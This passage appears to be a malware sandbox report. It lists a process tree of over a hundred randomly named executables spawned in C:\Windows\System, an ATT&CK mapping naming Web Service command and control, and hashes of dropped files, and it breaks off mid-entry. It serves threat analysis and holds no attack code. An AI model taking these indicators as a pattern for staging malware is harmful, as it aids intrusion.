  PID:6804
- C:\Windows\System\aWUTDuP.exe
  C:\Windows\System\aWUTDuP.exe
  2⤵
  PID:7960
- C:\Windows\System\GbvwKlZ.exe
  C:\Windows\System\GbvwKlZ.exe
  2⤵
  PID:8536
- C:\Windows\System\EVpJNGx.exe
  C:\Windows\System\EVpJNGx.exe
  2⤵
  PID:6768
- C:\Windows\System\BMLkysQ.exe
  C:\Windows\System\BMLkysQ.exe
  2⤵
  PID:7552
- C:\Windows\System\ULoyONL.exe
  C:\Windows\System\ULoyONL.exe
  2⤵
  PID:8700
- C:\Windows\System\cAUeppG.exe
  C:\Windows\System\cAUeppG.exe
  2⤵
  PID:8928
- C:\Windows\System\UbWVGMQ.exe
  C:\Windows\System\UbWVGMQ.exe
  2⤵
  PID:9456
- C:\Windows\System\vcGxjek.exe
  C:\Windows\System\vcGxjek.exe
  2⤵
  PID:7992
- C:\Windows\System\ztskUcc.exe
  C:\Windows\System\ztskUcc.exe
  2⤵
  PID:14972
- C:\Windows\System\cWApLWE.exe
  C:\Windows\System\cWApLWE.exe
  2⤵
  PID:7448
- C:\Windows\System\LwoUNaN.exe
  C:\Windows\System\LwoUNaN.exe
  2⤵
  PID:13116
- C:\Windows\System\QlIDBvI.exe
  C:\Windows\System\QlIDBvI.exe
  2⤵
  PID:9164
- C:\Windows\System\CFStrTI.exe
  C:\Windows\System\CFStrTI.exe
  2⤵
  PID:8860
- C:\Windows\System\qiQEPPi.exe
  C:\Windows\System\qiQEPPi.exe
  2⤵
  PID:6276
- C:\Windows\System\TuJMxss.exe
  C:\Windows\System\TuJMxss.exe
  2⤵
  PID:8384
- C:\Windows\System\QpRmnxM.exe
  C:\Windows\System\QpRmnxM.exe
  2⤵
  PID:7996
- C:\Windows\System\SuUSbXW.exe
  C:\Windows\System\SuUSbXW.exe
  2⤵
  PID:8512
- C:\Windows\System\TdbzoxD.exe
  C:\Windows\System\TdbzoxD.exe
  2⤵
  PID:14540
- C:\Windows\System\NFYPIuu.exe
  C:\Windows\System\NFYPIuu.exe
  2⤵
  PID:14820
- C:\Windows\System\TQXlObs.exe
  C:\Windows\System\TQXlObs.exe
  2⤵
  PID:9988
- C:\Windows\System\kuLBMFU.exe
  C:\Windows\System\kuLBMFU.exe
  2⤵
  PID:8176
- C:\Windows\System\vBfCIFI.exe
  C:\Windows\System\vBfCIFI.exe
  2⤵
  PID:7804
- C:\Windows\System\PmFBkVp.exe
  C:\Windows\System\PmFBkVp.exe
  2⤵
  PID:7676
- C:\Windows\System\CHnDgzD.exe
  C:\Windows\System\CHnDgzD.exe
  2⤵
  PID:9260
- C:\Windows\System\vfeHKBP.exe
  C:\Windows\System\vfeHKBP.exe
  2⤵
  PID:8992
- C:\Windows\System\uxAoHwv.exe
  C:\Windows\System\uxAoHwv.exe
  2⤵
  PID:14788
- C:\Windows\System\OplbWDB.exe
  C:\Windows\System\OplbWDB.exe
  2⤵
  PID:7052
- C:\Windows\System\wHbaIJl.exe
  C:\Windows\System\wHbaIJl.exe
  2⤵
  PID:15332
- C:\Windows\System\QilZWYh.exe
  C:\Windows\System\QilZWYh.exe
  2⤵
  PID:14548
- C:\Windows\System\wksEQxE.exe
  C:\Windows\System\wksEQxE.exe
  2⤵
  PID:9996
- C:\Windows\System\fiDoyZy.exe
  C:\Windows\System\fiDoyZy.exe
  2⤵
  PID:15056
- C:\Windows\System\iuojXfC.exe
  C:\Windows\System\iuojXfC.exe
  2⤵
  PID:14776
- C:\Windows\System\luEgtGY.exe
  C:\Windows\System\luEgtGY.exe
  2⤵
  PID:8560
- C:\Windows\System\pihvsMU.exe
  C:\Windows\System\pihvsMU.exe
  2⤵
  PID:10184
- C:\Windows\System\rnanWKa.exe
  C:\Windows\System\rnanWKa.exe
  2⤵
  PID:10416
- C:\Windows\System\sZGJlXI.exe
  C:\Windows\System\sZGJlXI.exe
  2⤵
  PID:6632
- C:\Windows\System\gtdRmRZ.exe
  C:\Windows\System\gtdRmRZ.exe
  2⤵
  PID:1656
- C:\Windows\System\sVJbqhc.exe
  C:\Windows\System\sVJbqhc.exe
  2⤵
  PID:8476
- C:\Windows\System\QkSVUIc.exe
  C:\Windows\System\QkSVUIc.exe
  2⤵
  PID:10888
- C:\Windows\System\zrtQYFi.exe
  C:\Windows\System\zrtQYFi.exe
  2⤵
  PID:10604
- C:\Windows\System\OfcXhBa.exe
  C:\Windows\System\OfcXhBa.exe
  2⤵
  PID:8356
- C:\Windows\System\uZBxdLs.exe
  C:\Windows\System\uZBxdLs.exe
  2⤵
  PID:10152
- C:\Windows\System\LxYhXoC.exe
  C:\Windows\System\LxYhXoC.exe
  2⤵
  PID:9528
- C:\Windows\System\khneTTg.exe
  C:\Windows\System\khneTTg.exe
  2⤵
  PID:9720
- C:\Windows\System\fGeeKhl.exe
  C:\Windows\System\fGeeKhl.exe
  2⤵
  PID:9808
- C:\Windows\System\eYvXyrU.exe
  C:\Windows\System\eYvXyrU.exe
  2⤵
  PID:7536
- C:\Windows\System\yurerBU.exe
  C:\Windows\System\yurerBU.exe
  2⤵
  PID:10864
- C:\Windows\System\HgfxErO.exe
  C:\Windows\System\HgfxErO.exe
  2⤵
  PID:10720
- C:\Windows\System\yIcBncZ.exe
  C:\Windows\System\yIcBncZ.exe
  2⤵
  PID:10488
- C:\Windows\System\RjpJRIE.exe
  C:\Windows\System\RjpJRIE.exe
  2⤵
  PID:7964
- C:\Windows\System\eFqtXay.exe
  C:\Windows\System\eFqtXay.exe
  2⤵
  PID:10972
- C:\Windows\System\AvGukvT.exe
  C:\Windows\System\AvGukvT.exe
  2⤵
  PID:10936
- C:\Windows\System\ZwuflYs.exe
  C:\Windows\System\ZwuflYs.exe
  2⤵
  PID:7768
- C:\Windows\System\YjxUiBV.exe
  C:\Windows\System\YjxUiBV.exe
  2⤵
  PID:9616
- C:\Windows\System\uPLQiBI.exe
  C:\Windows\System\uPLQiBI.exe
  2⤵
  PID:10700
- C:\Windows\System\TostnTV.exe
  C:\Windows\System\TostnTV.exe
  2⤵
  PID:11656
- C:\Windows\System\YthASGa.exe
  C:\Windows\System\YthASGa.exe
  2⤵
  PID:15180
- C:\Windows\System\wPeLugD.exe
  C:\Windows\System\wPeLugD.exe
  2⤵
  PID:7512
- C:\Windows\System\krUyPNO.exe
  C:\Windows\System\krUyPNO.exe
  2⤵
  PID:15224
- C:\Windows\System\anKUVAA.exe
  C:\Windows\System\anKUVAA.exe
  2⤵
  PID:7548
- C:\Windows\System\CKzXqLm.exe
  C:\Windows\System\CKzXqLm.exe
  2⤵
  PID:8732
- C:\Windows\System\dQwfjLM.exe
  C:\Windows\System\dQwfjLM.exe
  2⤵
  PID:8576
- C:\Windows\System\csgKLbs.exe
  C:\Windows\System\csgKLbs.exe
  2⤵
  PID:10884
- C:\Windows\System\usCWYcS.exe
  C:\Windows\System\usCWYcS.exe
  2⤵
  PID:10980
- C:\Windows\System\ZswoQKJ.exe
  C:\Windows\System\ZswoQKJ.exe
  2⤵
  PID:11988
- C:\Windows\System\xjPDylv.exe
  C:\Windows\System\xjPDylv.exe
  2⤵
  PID:10356
- C:\Windows\System\IuzdxJH.exe
  C:\Windows\System\IuzdxJH.exe
  2⤵
  PID:8840
- C:\Windows\System\kednPdq.exe
  C:\Windows\System\kednPdq.exe
  2⤵
  PID:5472
- C:\Windows\System\NCKJrKJ.exe
  C:\Windows\System\NCKJrKJ.exe
  2⤵
  PID:10036
- C:\Windows\System\hTPzxQr.exe
  C:\Windows\System\hTPzxQr.exe
  2⤵
  PID:13708
- C:\Windows\System\QjTyyNV.exe
  C:\Windows\System\QjTyyNV.exe
  2⤵
  PID:9380
- C:\Windows\System\oHsObrh.exe
  C:\Windows\System\oHsObrh.exe
  2⤵
  PID:11708
- C:\Windows\System\JYEtgxY.exe
  C:\Windows\System\JYEtgxY.exe
  2⤵
  PID:10588
- C:\Windows\System\rxQlnlc.exe
  C:\Windows\System\rxQlnlc.exe
  2⤵
  PID:10316
- C:\Windows\System\YkCnnPJ.exe
  C:\Windows\System\YkCnnPJ.exe
  2⤵
  PID:4024
- C:\Windows\System\FKThIyK.exe
  C:\Windows\System\FKThIyK.exe
  2⤵
  PID:10912
- C:\Windows\System\BbBgGLx.exe
  C:\Windows\System\BbBgGLx.exe
  2⤵
  PID:11992
- C:\Windows\System\POCgtRt.exe
  C:\Windows\System\POCgtRt.exe
  2⤵
  PID:10960
- C:\Windows\System\yTYzDkN.exe
  C:\Windows\System\yTYzDkN.exe
  2⤵
  PID:15204
- C:\Windows\System\xVKorXi.exe
  C:\Windows\System\xVKorXi.exe
  2⤵
  PID:7844
- C:\Windows\System\mkDFdSH.exe
  C:\Windows\System\mkDFdSH.exe
  2⤵
  PID:10964
- C:\Windows\System\RKBDchQ.exe
  C:\Windows\System\RKBDchQ.exe
  2⤵
  PID:12016
- C:\Windows\System\WYTkvdB.exe
  C:\Windows\System\WYTkvdB.exe
  2⤵
  PID:10652
- C:\Windows\System\kceDtEh.exe
  C:\Windows\System\kceDtEh.exe
  2⤵
  PID:9512
- C:\Windows\System\KXdBesG.exe
  C:\Windows\System\KXdBesG.exe
  2⤵
  PID:10288
- C:\Windows\System\PJyFEqh.exe
  C:\Windows\System\PJyFEqh.exe
  2⤵
  PID:12668
- C:\Windows\System\gCvTiYi.exe
  C:\Windows\System\gCvTiYi.exe
  2⤵
  PID:10320
- C:\Windows\System\QsPZNtm.exe
  C:\Windows\System\QsPZNtm.exe
  2⤵
  PID:10748
- C:\Windows\System\UGQRZvS.exe
  C:\Windows\System\UGQRZvS.exe
  2⤵
  PID:8184
- C:\Windows\System\TFRYGHd.exe
  C:\Windows\System\TFRYGHd.exe
  2⤵
  PID:9564
- C:\Windows\System\mZpfgqr.exe
  C:\Windows\System\mZpfgqr.exe
  2⤵
  PID:11692
- C:\Windows\System\IlRsvse.exe
  C:\Windows\System\IlRsvse.exe
  2⤵
  PID:11376
- C:\Windows\System\TqyZIhh.exe
  C:\Windows\System\TqyZIhh.exe
  2⤵
  PID:15372
- C:\Windows\System\VbgyJRR.exe
  C:\Windows\System\VbgyJRR.exe
  2⤵
  PID:15388
- C:\Windows\System\sUoBoFV.exe
  C:\Windows\System\sUoBoFV.exe
  2⤵
  PID:15404
- C:\Windows\System\yqbaqDK.exe
  C:\Windows\System\yqbaqDK.exe
  2⤵
  PID:15428
- C:\Windows\System\KTMrtiD.exe
  C:\Windows\System\KTMrtiD.exe
  2⤵
  PID:15448
- C:\Windows\System\BiYYFDO.exe
  C:\Windows\System\BiYYFDO.exe
  2⤵
  PID:15468
- C:\Windows\System\pvNfuQd.exe
  C:\Windows\System\pvNfuQd.exe
  2⤵
  PID:15492
- C:\Windows\System\aThQKxN.exe
  C:\Windows\System\aThQKxN.exe
  2⤵
  PID:15516
- C:\Windows\System\AjQcCHl.exe
  C:\Windows\System\AjQcCHl.exe
  2⤵
  PID:15536
- C:\Windows\System\SLBKenz.exe
  C:\Windows\System\SLBKenz.exe
  2⤵
  PID:15568
- C:\Windows\System\ISHkurZ.exe
  C:\Windows\System\ISHkurZ.exe
  2⤵
  PID:15592
- C:\Windows\System\VUkwvet.exe
  C:\Windows\System\VUkwvet.exe
  2⤵
  PID:15620
- C:\Windows\System\cbyVGnZ.exe
  C:\Windows\System\cbyVGnZ.exe
  2⤵
  PID:15644
- C:\Windows\System\goyplrG.exe
  C:\Windows\System\goyplrG.exe
  2⤵
  PID:15660
- C:\Windows\System\caddeLF.exe
  C:\Windows\System\caddeLF.exe
  2⤵
  PID:15684
- C:\Windows\System\NHquMkv.exe
  C:\Windows\System\NHquMkv.exe
  2⤵
  PID:15716
- C:\Windows\System\ITooXQO.exe
  C:\Windows\System\ITooXQO.exe
  2⤵
  PID:15736
- C:\Windows\System\wgYgNPe.exe
  C:\Windows\System\wgYgNPe.exe
  2⤵
  PID:15760
- C:\Windows\System\fHbRVSn.exe
  C:\Windows\System\fHbRVSn.exe
  2⤵
  PID:15784
- C:\Windows\System\ENSoBzv.exe
  C:\Windows\System\ENSoBzv.exe
  2⤵
  PID:15804
- C:\Windows\System\oJkLnSQ.exe
  C:\Windows\System\oJkLnSQ.exe
  2⤵
  PID:15820
- C:\Windows\System\ghrrWeq.exe
  C:\Windows\System\ghrrWeq.exe
  2⤵
  PID:15836
- C:\Windows\System\KjDlJer.exe
  C:\Windows\System\KjDlJer.exe
  2⤵
  PID:15852
- C:\Windows\System\AmWIrgi.exe
  C:\Windows\System\AmWIrgi.exe
  2⤵
  PID:15868
- C:\Windows\System\OZZAfvU.exe
  C:\Windows\System\OZZAfvU.exe
  2⤵
  PID:15888
- C:\Windows\System\KpciaeY.exe
  C:\Windows\System\KpciaeY.exe
  2⤵
  PID:15908
- C:\Windows\System\FpQNlGm.exe
  C:\Windows\System\FpQNlGm.exe
  2⤵
  PID:15928
- C:\Windows\System\PPgmDVi.exe
  C:\Windows\System\PPgmDVi.exe
  2⤵
  PID:15948
- C:\Windows\System\xllPOec.exe
  C:\Windows\System\xllPOec.exe
  2⤵
  PID:15964
- C:\Windows\System\IrlXEjT.exe
  C:\Windows\System\IrlXEjT.exe
  2⤵
  PID:15988
- C:\Windows\System\ULyDJew.exe
  C:\Windows\System\ULyDJew.exe
  2⤵
  PID:16004
- C:\Windows\System\PvPxydl.exe
  C:\Windows\System\PvPxydl.exe
  2⤵
  PID:16024
- C:\Windows\System\WQQVCWK.exe
  C:\Windows\System\WQQVCWK.exe
  2⤵
  PID:16044
- C:\Windows\System\dUjFZBA.exe
  C:\Windows\System\dUjFZBA.exe
  2⤵
  PID:16068
- C:\Windows\System\jOKAUHZ.exe
  C:\Windows\System\jOKAUHZ.exe
  2⤵
  PID:16084
- C:\Windows\System\BgHCxya.exe
  C:\Windows\System\BgHCxya.exe
  2⤵
  PID:16104
- C:\Windows\System\sbVifNq.exe
  C:\Windows\System\sbVifNq.exe
  2⤵
  PID:16124
- C:\Windows\System\txKTGeC.exe
  C:\Windows\System\txKTGeC.exe
  2⤵
  PID:16144
- C:\Windows\System\zVLcvXD.exe
  C:\Windows\System\zVLcvXD.exe
  2⤵
  PID:16172
- C:\Windows\System\tQZijDS.exe
  C:\Windows\System\tQZijDS.exe
  2⤵
  PID:16188
- C:\Windows\System\VYeoUpj.exe
  C:\Windows\System\VYeoUpj.exe
  2⤵
  PID:16208
- C:\Windows\System\EYsRzqg.exe
  C:\Windows\System\EYsRzqg.exe
  2⤵
  PID:16224
- C:\Windows\System\ZHnzqLK.exe
  C:\Windows\System\ZHnzqLK.exe
  2⤵
  PID:16240
- C:\Windows\System\EuzdcIJ.exe
  C:\Windows\System\EuzdcIJ.exe
  2⤵
  PID:16256
- C:\Windows\System\WNcUhle.exe
  C:\Windows\System\WNcUhle.exe
  2⤵
  PID:9656
- C:\Windows\System\rgaGzFA.exe
  C:\Windows\System\rgaGzFA.exe
  2⤵
  PID:11884
- C:\Windows\System\OGMroDj.exe
  C:\Windows\System\OGMroDj.exe
  2⤵
  PID:15672
- C:\Windows\System\QRVfDtt.exe
  C:\Windows\System\QRVfDtt.exe
  2⤵
  PID:15708
- C:\Windows\System\OhXNIpb.exe
  C:\Windows\System\OhXNIpb.exe
  2⤵
  PID:15744
- C:\Windows\System\ciZGpHC.exe
  C:\Windows\System\ciZGpHC.exe
  2⤵
  PID:15792
- C:\Windows\System\GLitleu.exe
  C:\Windows\System\GLitleu.exe
  2⤵
  PID:12712
- C:\Windows\System\KmfEplT.exe
  C:\Windows\System\KmfEplT.exe
  2⤵
  PID:16016
- C:\Windows\System\sQjeJQQ.exe
  C:\Windows\System\sQjeJQQ.exe
  2⤵
  PID:12972
- C:\Windows\System\ZKbavHS.exe
  C:\Windows\System\ZKbavHS.exe
  2⤵
  PID:12772
- C:\Windows\System\YxUYHoP.exe
  C:\Windows\System\YxUYHoP.exe
  2⤵
  PID:11572
- C:\Windows\System\TuEhxBW.exe
  C:\Windows\System\TuEhxBW.exe
  2⤵
  PID:12500
- C:\Windows\System\yMhWTIp.exe
  C:\Windows\System\yMhWTIp.exe
  2⤵
  PID:12796
- C:\Windows\System\fJFyXzN.exe
  C:\Windows\System\fJFyXzN.exe
  2⤵
  PID:12800
- C:\Windows\System\ftTuocI.exe
  C:\Windows\System\ftTuocI.exe
  2⤵
  PID:12872
- C:\Windows\System\WOzEZqU.exe
  C:\Windows\System\WOzEZqU.exe
  2⤵
  PID:12476
- C:\Windows\System\ceLGCFL.exe
  C:\Windows\System\ceLGCFL.exe
  2⤵
  PID:12812
- C:\Windows\System\WwNUFqL.exe
  C:\Windows\System\WwNUFqL.exe
  2⤵
  PID:16120
- C:\Windows\System\KGqGDco.exe
  C:\Windows\System\KGqGDco.exe
  2⤵
  PID:16152
- C:\Windows\System\uXhKNcR.exe
  C:\Windows\System\uXhKNcR.exe
  2⤵
  PID:12452
- C:\Windows\System\XarNffy.exe
  C:\Windows\System\XarNffy.exe
  2⤵
  PID:9268
- C:\Windows\System\UHmNwJN.exe
  C:\Windows\System\UHmNwJN.exe
  2⤵
  PID:11776
- C:\Windows\System\eFkLRGJ.exe
  C:\Windows\System\eFkLRGJ.exe
  2⤵
  PID:16340
- C:\Windows\System\demccLG.exe
  C:\Windows\System\demccLG.exe
  2⤵
  PID:13264
- C:\Windows\System\fhhZrtd.exe
  C:\Windows\System\fhhZrtd.exe
  2⤵
  PID:10372
- C:\Windows\System\euyCHWt.exe
  C:\Windows\System\euyCHWt.exe
  2⤵
  PID:15316
- C:\Windows\System\ScZJbiW.exe
  C:\Windows\System\ScZJbiW.exe
  2⤵
  PID:10612
- C:\Windows\System\FRCXqnr.exe
  C:\Windows\System\FRCXqnr.exe
  2⤵
  PID:16328
- C:\Windows\System\DlabzaG.exe
  C:\Windows\System\DlabzaG.exe
  2⤵
  PID:11060
- C:\Windows\System\raWkeEx.exe
  C:\Windows\System\raWkeEx.exe
  2⤵
  PID:15880
- C:\Windows\System\PDKjvof.exe
  C:\Windows\System\PDKjvof.exe
  2⤵
  PID:12820
- C:\Windows\System\bqXKiWS.exe
  C:\Windows\System\bqXKiWS.exe
  2⤵
  PID:9092
- C:\Windows\System\RkFNMxb.exe
  C:\Windows\System\RkFNMxb.exe
  2⤵
  PID:13216
- C:\Windows\System\rGFyVgF.exe
  C:\Windows\System\rGFyVgF.exe
  2⤵
  PID:13280
- C:\Windows\System\tcxPvha.exe
  C:\Windows\System\tcxPvha.exe
  2⤵
  PID:13060
- C:\Windows\System\ttzXQOW.exe
  C:\Windows\System\ttzXQOW.exe
  2⤵
  PID:7068
- C:\Windows\System\NeRaTkU.exe
  C:\Windows\System\NeRaTkU.exe
  2⤵
  PID:9928
- C:\Windows\System\sVyXlGi.exe
  C:\Windows\System\sVyXlGi.exe
  2⤵
  PID:13256
- C:\Windows\System\CHCcDce.exe
  C:\Windows\System\CHCcDce.exe
  2⤵
  PID:13104
- C:\Windows\System\lzNBIzT.exe
  C:\Windows\System\lzNBIzT.exe
  2⤵
  PID:12868
- C:\Windows\System\oTUvakG.exe
  C:\Windows\System\oTUvakG.exe
  2⤵
  PID:12828
- C:\Windows\System\NfMAXiw.exe
  C:\Windows\System\NfMAXiw.exe
  2⤵
  PID:12748
- C:\Windows\System\VSXYUga.exe
  C:\Windows\System\VSXYUga.exe
  2⤵
  PID:12776
- C:\Windows\System\esdqaeK.exe
  C:\Windows\System\esdqaeK.exe
  2⤵
  PID:12480
- C:\Windows\System\BRjsoAZ.exe
  C:\Windows\System\BRjsoAZ.exe
  2⤵
  PID:12900
- C:\Windows\System\XsMfjmB.exe
  C:\Windows\System\XsMfjmB.exe
  2⤵
  PID:9640
- C:\Windows\System\MGcWhNt.exe
  C:\Windows\System\MGcWhNt.exe
  2⤵
  PID:15940
- C:\Windows\System\TcIMOFV.exe
  C:\Windows\System\TcIMOFV.exe
  2⤵
  PID:15936
- C:\Windows\System\RtupcdQ.exe
  C:\Windows\System\RtupcdQ.exe
  2⤵
  PID:12092
- C:\Windows\System\htOOvro.exe
  C:\Windows\System\htOOvro.exe
  2⤵
  PID:15512
- C:\Windows\System\oAJHiFw.exe
  C:\Windows\System\oAJHiFw.exe
  2⤵
  PID:13288
- C:\Windows\System\WeTteUk.exe
  C:\Windows\System\WeTteUk.exe
  2⤵
  PID:16216
- C:\Windows\System\nlDoGLP.exe
  C:\Windows\System\nlDoGLP.exe
  2⤵
  PID:11028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
1⤵
PID:11120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3dqxtyd.pqy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\DzfKZpp.exe

Filesize
2.3MB

MD5
ffe6f65a06119abee5c81005e22269ba

SHA1
75ee97a7d0439a7d8b6a227713ccdd74a90dd4b5

SHA256
2a7771dec4baf470e68e72d607158097da1ea82ebb052cd74b98a4ee29276454

SHA512
b81e0c7bb23f0c9583c24f2d6ff92fd1a5140ee2aa971468a418aa2b2946d04107d28cf70ae84eb826dc14099099f3ed5bc9bf1f2c033d2e4164ffd127301df5

Download Submit
C:\Windows\System\GAIXZKC.exe

Filesize
2.3MB

MD5
0e86041fbbfcd37f0ccf3100c1c51c28

SHA1
33b43d07c5462598ec6aa4c68cd8e933a1250161

SHA256
9870162d9a7dc48f4294a7eddf1608a47574e80ba68c705d4a243e5154d53ed5

SHA512
146873e0d3fd9b5b31f6dba392cdbf5afd75409b82006541bfe22196ed362d0c12818b7580db0bcb2c349cf0d11352b295d1a1f3d305591947c4e40e89cb944c

Download Submit
C:\Windows\System\JYUqhHJ.exe

Filesize
2.3MB

MD5
4d67be06944d9814bbc73be026d7b2db

SHA1
080ad685d9cfbdcc08d1f8c0c5e517f3ef76425b

SHA256
73826119e4c38494510cf6d7d88fb6f5833256b3bb7bf1b77c5f710ae2b79b4f

SHA512
e6d82a1abe1d29d4945e6cd1365199def443d51ee1695335490b3c0c7d26328550b689c150f9ecbf5c11a0c606cc89f866ba2ba0aaeefdac53d2cc722a0f2290

Download Submit
C:\Windows\System\LPIuVwD.exe

Filesize
2.3MB

MD5
5e8175acb8f5083aad0b015fa36ffb0d

SHA1
a5e53e7ca795392610856bd8f3f9d5a709ec4e18

SHA256
b4cf0dfa2554ad076e620afcd1694503bf78248267c831c204fc67017aa403b2

SHA512
39f5cbbb6b7bc50888883223e34a58965a5b2d3ec32c874b1a0e2f8d658407348f63043b7d0adbafe2961267ca3aec23653e04a1124547a8994bc0ed2d3d3556

Download Submit
C:\Windows\System\NGWulFh.exe

Filesize
2.3MB

MD5
33188af63ce1cf08cf5e288669a31fe0

SHA1
21166209e593772c67ec316fb7ceb94e0f5ef2ab

SHA256
6436f0d600efa6f16456b73466403f6fce4440ee11ad9421e6fdf08c3b7d30fe

SHA512
04a5515db3b9bf08d694be4eefc93287a28015caacbb50a3afbb4375a23d984b6344f40eaf826604464f6465a409eafec877ffc67ce56195340e3b487a083daa

Download Submit
C:\Windows\System\NJgYcQj.exe

Filesize
2.3MB

MD5
84eb341018e9adf55da4db166514f0bf

SHA1
2438b312ad4250b117553a7f62e27d933d088c68

SHA256
c94580fd40f1e51deb21327302f5d1b39a87ec42e229caba7f299fbe9e1dc9aa

SHA512
1e52397b4ad4a3cc5ca79407c6da024e5c13135c25cb310d344fde5f746da144d541a38386189eda28560b3d1334979e1f6b2b096015140b935051e936b6ac8e

Download Submit
C:\Windows\System\NpfwfDQ.exe

Filesize
2.3MB

MD5
482e1d4cda71a1ca1d0e483fdf0d29ef

SHA1
477e7441fa822a1e45ecdfc06a4b5e76fd0eb700

SHA256
b967e3cd67a424542aa6aa31babf2f1bcfac2381ee7441960d907c66d84e1c34

SHA512
c9f549d1b3c489fcf4fb93d2285788f450d0d1b90b404bab09df7b721210b522777739dba83542a39cdc4ea3b25e8b4bfd0e94428a59ca9ed5f7745a925cd2f9

Download Submit
C:\Windows\System\OXAaFaQ.exe

Filesize
2.3MB

MD5
b60f594572b125a97189a92dff3b11c1

SHA1
f9fdc7fc4b84291e3b38cc0f9463f514c96d8990

SHA256
112699d014a4d55ab27d81967ba992bbcc2188f1f28df1a2a618f1d0a3926a0d

SHA512
8babb45dacb6f43455401e2b5928058ce9b101db911fb1fa743083141d3e6c535c2bf18531e865fd5e1181589f0039b1f1a734a232e7678eef875c3ba27c8344

Download Submit
C:\Windows\System\PeGOiyG.exe

Filesize
2.3MB

MD5
6635b490f8a79e6ecf53291f8dcfe5fd

SHA1
7c40171686cd95eedc4da6c7f2b075a05266c361

SHA256
de383cdb6894cfc0ed39ff6815d20fb9bef7568f8519a4607a6391c2b5e2db08

SHA512
973a28a3f2b97673602fddc57b893edae4f830ced3ff99872e6b95aa84a872ee9bc01b5048c96005d0e7fcd1cff7e5ec5ea30ffa1b764a1c074698c1b7b9e77c

Download Submit
C:\Windows\System\RCibOjC.exe

Filesize
2.3MB

MD5
5e1bd62fa7cb9f2b02ec5df218c78605

SHA1
4a6dad404ce36d090a2fb60c7ac42bfa5534d99c

SHA256
8a42b818941eeaf6a2f9e4786749440b11064233e0200ea8644100d6d7fdcb9e

SHA512
6f428109c032734f3db4727f580a63d766cec875ffc7c50209f005f564ebe85eae0096145f444146590904b96b56f517f524cfd72f114b72db7316ec5a8a2dcb

Download Submit
C:\Windows\System\RqHsSYl.exe

Filesize
2.3MB

MD5
2aa9560d227a815a0285a5fa84cfe94a

SHA1
fab1380dd44c07c39464ea411b85fd5accbb9353

SHA256
f146c3d0bc1d8cedf992b846dd408b3436f97cb6a5ee5fec12415b717ec96e32

SHA512
3ad6e066c01e5dced32d8226a58e914847801ddb033aab0bf984b762b1ce2e4f6bb2526fce5c8e54020717340d0949ce511d68a52b2f00a46e28799df9a23540

Download Submit
C:\Windows\System\SThcAvU.exe

Filesize
2.3MB

MD5
e8e5888bbfb32cc7f6c83e0616413e90

SHA1
b9bf2f186ab5272ad994f107747394875ead6fd3

SHA256
82893a8e879902abef84f48531ed00f85b16a310612b35f244bf7b01126ee7e6

SHA512
a35e32440fbf4ecc9426bbcc688fd5db47f1bb503d751dd31087ab2c0b1eb9f04417eaa0e407600061de3b78c96ea2c602bea9bcc391d1013f0bcf641037af9f

Download Submit
C:\Windows\System\SpkTQtI.exe

Filesize
2.3MB

MD5
fad24ba1e451c833151c1426f8df0621

SHA1
bebbd1c336e67f8ff9fb60c8020d907e42124296

SHA256
5ceeecde27788374a777b669e15977f23bc6f36e97e2e9e2867f049101e6f39a

SHA512
347ed017fa4f2ba5872a08772015aabbc71ea87a429fa6a6ec2cdfc5f34775a5d6398810a930fd4c3c747583d39e053685a32a67bb2316cf8d6adfddf870b5f8

Download Submit
C:\Windows\System\VIwqBvr.exe

Filesize
2.3MB

MD5
3b300d8c8e7b2793dd512c2a085cd832

SHA1
dd8de0342f56a8c04d3d3f6e7cf047ae63be8949

SHA256
b899c09ff3f6de0e290c752dda857132c32fc15e77c944adfbf26f96024b2ec8

SHA512
deae2fcb580d11c9671d6bc2a28b3dc62da172be8d4133ba34bdc83def48f51531e885135d958ab63c7f26e87849637433bd000765fa2dfb37a3a6dd73c40855

Download Submit
C:\Windows\System\WdreFwR.exe

Filesize
2.3MB

MD5
620fcffe68459f001acb577441896eef

SHA1
52ba01ed380ee14d3e89c453f3f4f81243776050

SHA256
36adcd0ebec681396dc479e50fbedcf6ab26a09fb13cf488a1850c23dc706e04

SHA512
5fa97f9f23cd9c4f5f5b1c73c8f0ac33d99103d16029992c9a348e9420aef22a74ed5e6b33d0f26f566337222d55b4d644f8172b6d70290f2d86ebd8dfe9e2ea

Download Submit
C:\Windows\System\XBFXKqN.exe

Filesize
2.3MB

MD5
b7bdf1616d0af119e280b1474ba64925

SHA1
22abbff3aca4b2ef1969f7bf810815e7c62b885f

SHA256
ccdd09072b9ac8c384f64d1fa43928e2e1964e174842e9996c5789605ed16b1d

SHA512
12dfec3d6289e7b80a3fc5ca7533794fa5763dd001fd5016fc63284131e846b17eafaac4506312ba5d8be643d9e8c80ddb244409469da8414d83c412a14a1ec4

Download Submit
C:\Windows\System\XKLdoXk.exe

Filesize
2.3MB

MD5
796426f03fbfdb314c6d351407768def

SHA1
f1e21ba17b145b62991b90690cc404a5f77a1e16

SHA256
785b5b8fbe5ce7a59aa5157f65e83ae3a384f40bc64155f3b2d76915a447b18d

SHA512
7e34ef0dd996966cb39a8203cf53b1dbeb47821f93ec4158e9ff5556a430b9a5f25cddabb2d3dca32fc5f0e106d0e77bf3da9cf6678e115662c9d530dd74a311

Download Submit
C:\Windows\System\XZZAtAC.exe

Filesize
2.3MB

MD5
4044ed77cc73d591a0fc72a9978b69cb

SHA1
aeb5890b73b5152fc4f7c2a12232a1f3154048a9

SHA256
17b38b65947989f16eb18b4105cbf0bffcb88ec977b8136f516deceef4df0f8f

SHA512
